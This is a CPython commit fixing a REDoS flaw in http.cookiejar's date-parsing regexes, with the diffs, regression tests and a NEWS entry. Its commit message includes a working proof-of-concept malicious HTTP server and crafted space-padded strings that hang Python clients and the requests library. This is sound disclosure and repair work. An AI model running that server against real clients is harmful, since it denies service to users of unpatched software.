bpo-38804: Fix REDoS in http.cookiejar (GH-17157)

The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

Lib/http/cookiejar.py

@@ -214,10 +214,14 @@ LOOSE_HTTP_DATE_RE = re.compile(
        (?::(\d\d))?    # optional seconds
     )?                 # optional clock
        \s*
-    ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
+    (?:
+       ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+) # timezone
        \s*
-    (?:\(\w+\))?       # ASCII representation of timezone in parens.
-       \s*$""", re.X | re.ASCII)
+    )?
+    (?:
+       \(\w+\)         # ASCII representation of timezone in parens.
+       \s*
+    )?$""", re.X | re.ASCII)
 def http2time(text):
     """Returns time in seconds since epoch of time represented by a string.
 
@@ -287,9 +291,11 @@ ISO_DATE_RE = re.compile(
       (?::?(\d\d(?:\.\d*)?))?  # optional seconds (and fractional)
    )?                    # optional clock
       \s*
-   ([-+]?\d\d?:?(:?\d\d)?
-    |Z|z)?               # timezone  (Z is "zero meridian", i.e. GMT)
-      \s*$""", re.X | re. ASCII)
+   (?:
+      ([-+]?\d\d?:?(:?\d\d)?
+       |Z|z)             # timezone  (Z is "zero meridian", i.e. GMT)
+      \s*
+   )?$""", re.X | re. ASCII)
 def iso2time(text):
     """
     As for http2time, but parses the ISO 8601 formats:

Lib/test/test_http_cookiejar.py

@@ -123,6 +123,13 @@ class DateTimeTests(unittest.TestCase):
                               "http2time(%s) is not None\n"
                               "http2time(test) %s" % (test, http2time(test)))
 
+    def test_http2time_redos_regression_actually_completes(self):
+        # LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS).
+        # If we regress to cubic complexity, this test will take a very long time to succeed.
+        # If fixed, it should complete within a fraction of a second.
+        http2time("01 Jan 1970{}00:00:00 GMT!".format(" " * 10 ** 5))
+        http2time("01 Jan 1970 00:00:00{}GMT!".format(" " * 10 ** 5))
+
     def test_iso2time(self):
         def parse_date(text):
             return time.gmtime(iso2time(text))[:6]
@@ -180,6 +187,12 @@ class DateTimeTests(unittest.TestCase):
             self.assertIsNone(iso2time(test),
                               "iso2time(%r)" % test)
 
+    def test_iso2time_performance_regression(self):
+        # If ISO_DATE_RE regresses to quadratic complexity, this test will take a very long time to succeed.
+        # If fixed, it should complete within a fraction of a second.
+        iso2time('1994-02-03{}14:15:29 -0100!'.format(' '*10**6))
+        iso2time('1994-02-03 14:15:29{}-0100!'.format(' '*10**6))
+
 
 class HeaderTests(unittest.TestCase):
 

Misc/ACKS

@@ -250,6 +250,7 @@ Zach Byrne
 Vedran Čačić
 Nicolas Cadou
 Jp Calderone
+Ben Caller
 Arnaud Calmettes
 Daniel Calvelo
 Tony Campbell

Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst

@@ -0,0 +1 @@
+Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller.